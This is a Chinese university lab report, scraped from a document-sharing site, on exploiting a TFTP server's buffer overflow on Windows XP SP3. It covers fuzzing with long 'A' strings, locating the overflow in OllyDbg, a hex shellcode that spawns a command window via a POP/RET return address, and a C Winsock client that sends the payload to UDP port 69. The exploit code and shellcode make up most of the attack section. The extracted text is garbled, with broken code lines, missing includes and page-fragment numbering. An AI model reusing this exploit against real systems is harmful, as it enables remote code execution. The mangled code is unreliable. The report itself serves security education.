1、缓冲区溢出实验报告华中科技大学计算机学院信息系统应用安全实验报告实验名称 缓冲区溢出实验 团队成员:姓 名班 级学 号贡献百分比得 分高涛信安0703班U5100%注:团队成员贡献百分比之和为1教师评语:一.实验环境 操作系统:Windows XP SP3 编译平台:Visual C+ 调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。三.实验内容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法 缓冲区溢出模拟程序程序源代码如下:#include #include #include; char VulFunc =
2、 NetpwPathCanonicalize; LibHandle = LoadLibrary(dll); char VulFunc = NetpwPathCanonicalize; LibHandle = LoadLibrary(dll); Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc); memset(arg_1,0,sizeof(arg_1); memset(arg_1,0x90,sizeof(arg_1)-2); memset(arg_4,0,sizeof(arg_4); memset(arg_4,a,sizeof(arg_4
3、)-2); memcpy(arg_4,shellcode,168); arg_10x318=0xF9;造FUZZtftp get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFUZZ中包含288个A,这个值是通过多次测试获得的, 运行效果如下,可以看到发生了溢出: 2.确定溢出点 采用284个A+1234的fuzz,运行效果如下: 可以看到程序转到了,溢出点定位成功。 3.程序中溢出点定位使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom, 如下所示: 从这里找到recvfrom函数的位置,在此设置断点:然后启动tftp,重新运行fuzz
5、,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:运行到下面的代码处,程序跳转到处,至此溢出点定位完毕。 溢出漏洞利用分析首先肯定是想到利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。 从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,
6、就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:POP XRET代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:这样就可以构造如下的shellcode: x55x8bxecx33xc0x50x50x50xc6x45xf4x6d / 12 xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63 / 24 xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e / 36 xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c /
7、 48 x8dx45xf4x50xb8 / 53 x77x1dx80x7c / LoadLibraryW的地址 / 57 xffxd0 / 59 x55x8bxecx33xffx57x57x57xc6x45xf4x73 / 71 xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72 / 83 xc6x45xf8x74xc6x45xf9x20xc6x45xfax63 / 95 xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57 / 107 xba / 108 xc7x93xbfx77 / System 的地址 / 112 xffxd2 / 114 x90
8、x90x90x90 / 118 x90x90x90x90x90x90x90x90x90x90 / 128 x90x90x90x90x90x90x90x90x90x90 / 138 x90x90x90x90x90x90x90x90x90x90 / 148 x90x90x90x90x90x90x90x90x90x90 / 158 x90x90x90x90x90x90x90x90x90x90 / 168 x90x90x90x90x90x90x90x90x90x90 / 178 x90x90x90x90x90x90x90x90x90x90 / 188 x90x90x90x90x90x90x90x90x
9、90x90 / 198 x90x90x90x90x90x90x90x90x90x90 / 208 x90x90x90x90x90x90x90x90x90x90 / 218 x90x90x90x90x90x90x90x90x90x90 / 228 x90x90x90x90x90x90x90x90x90x90 / 238 x90x90x90x90x90x90x90x90x90x90 / 248 x90x90x90x90x90x90x90x90x90x90 / 258 x90x90x90x90x90x90x90x90x90x90 / 268 x90x90x90x90x90x90x90x90x90x9
10、0 / 278 x90x90x90x90x90x90 / 284 xB0x01xFCx7F / EIP地址 / 288该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。 漏洞利用直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个A + 0xB0 + 0x01 + 0xFC + 0x7F,发送到服务器端,发现实际地址不对:发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:#include #include #in
11、clude / 弹出命令框的Shell长度#define CMD_SHELL_LENGTH 300/ 弹出命令框的shellcodechar cmdshellCMD_SHELL_LENGTH + 1= x00x01 / 2 x55x8bxecx33xc0x50x50x50xc6x45xf4x6d / 14 xc6x45xf5x73xc6x45xf6x76xc6x45xf7x63 / 26 xc6x45xf8x72xc6x45xf9x74xc6x45xfax2e / 38 xc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6c / 50 x8dx45xf4x50xb8 / 55
12、 x77x1dx80x7c / LoadLibraryW的地址 / 59 xffxd0 / 61 x55x8bxecx33xffx57x57x57xc6x45xf4x73 / 73 xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72 / 85 xc6x45xf8x74xc6x45xf9x20xc6x45xfax63 / 97 xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57 / 109 xba / 110 xc7x93xbfx77 / System 的地址 / 114 xffxd2 / 116 x90x90x90x90 / 120 x90x90x9
13、0x90x90x90x90x90x90x90 / 130 x90x90x90x90x90x90x90x90x90x90 / 140 x90x90x90x90x90x90x90x90x90x90 / 150 x90x90x90x90x90x90x90x90x90x90 / 160 x90x90x90x90x90x90x90x90x90x90 / 170 x90x90x90x90x90x90x90x90x90x90 / 180 x90x90x90x90x90x90x90x90x90x90 / 190 x90x90x90x90x90x90x90x90x90x90 / 200 x90x90x90x90
14、x90x90x90x90x90x90 / 210 x90x90x90x90x90x90x90x90x90x90 / 220 x90x90x90x90x90x90x90x90x90x90 / 230 x90x90x90x90x90x90x90x90x90x90 / 240 x90x90x90x90x90x90x90x90x90x90 / 250 x90x90x90x90x90x90x90x90x90x90 / 260 x90x90x90x90x90x90x90x90x90x90 / 270 x90x90x90x90x90x90x90x90x90x90 / 280 x90x90x90x90x90x
15、90 / 286 xB0x01xFCx7F / EIP地址 / 290 x0netasciix0; / 300void main() WORD wVersionRequested; / 版本数据 WSADATA wsaData; / 初始化数据 int err; / 返回错误码 / 初始化版本字段 wVersionRequested = MAKEWORD(2,2); / 初始化库 err = WSAStartup(wVersionRequested,&wsaData); if(err != 0) return; if(LOBYTE != 2 | HIBYTE != 2) WSACleanup(
16、); return ; / 构造SOCKET SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0); / 初始化地址字段 SOCKADDR_IN addrSrv; ); =AF_INET; =htons(69); / 发送shellcode sendto(sockClient,cmdshell,CMD_SHELL_LENGTH,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR); / 关闭套接字 closesocket(sockClient); / 清理库信息 WSACleanup(); 运行该代码的效果如下:这样就成功的利用了
17、该漏洞。四.实验中的问题及心得程序中遇到了很多问题,由于前面的实验只是验证性的,我主要说明做最后一个实验中遇到的问题与心得:1.溢出点定位时遇到的问题溢出点定位应该是很简单的,但是这里的一个问题是字符串长了会覆盖参数,引起异常,我最初就以为溢出点位置为292个字符,因为我发现有292个字符时,产生了EIP的跳转,而实际上这是由于参数异常引起的,后来在同学的提醒在才意识到这个问题。2.溢出利用时的问题溢出漏洞利用时,这里不能用JMP ESP,我开始就想这怎么利用呢后来在同学的帮助下,意识到可以巧妙的利用第二个参数跳转,后来发现这个利用思路真的是很巧妙。利用时的另一个问题是非法字符不能通过命令行直接发送,这样必须自己实现tftp客户端。3.实验心得通过实验,我对缓冲区溢出漏洞有了一个比较清晰的认识。对利用的方法也有了一个比较详细的了解,可以说获益匪浅。
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1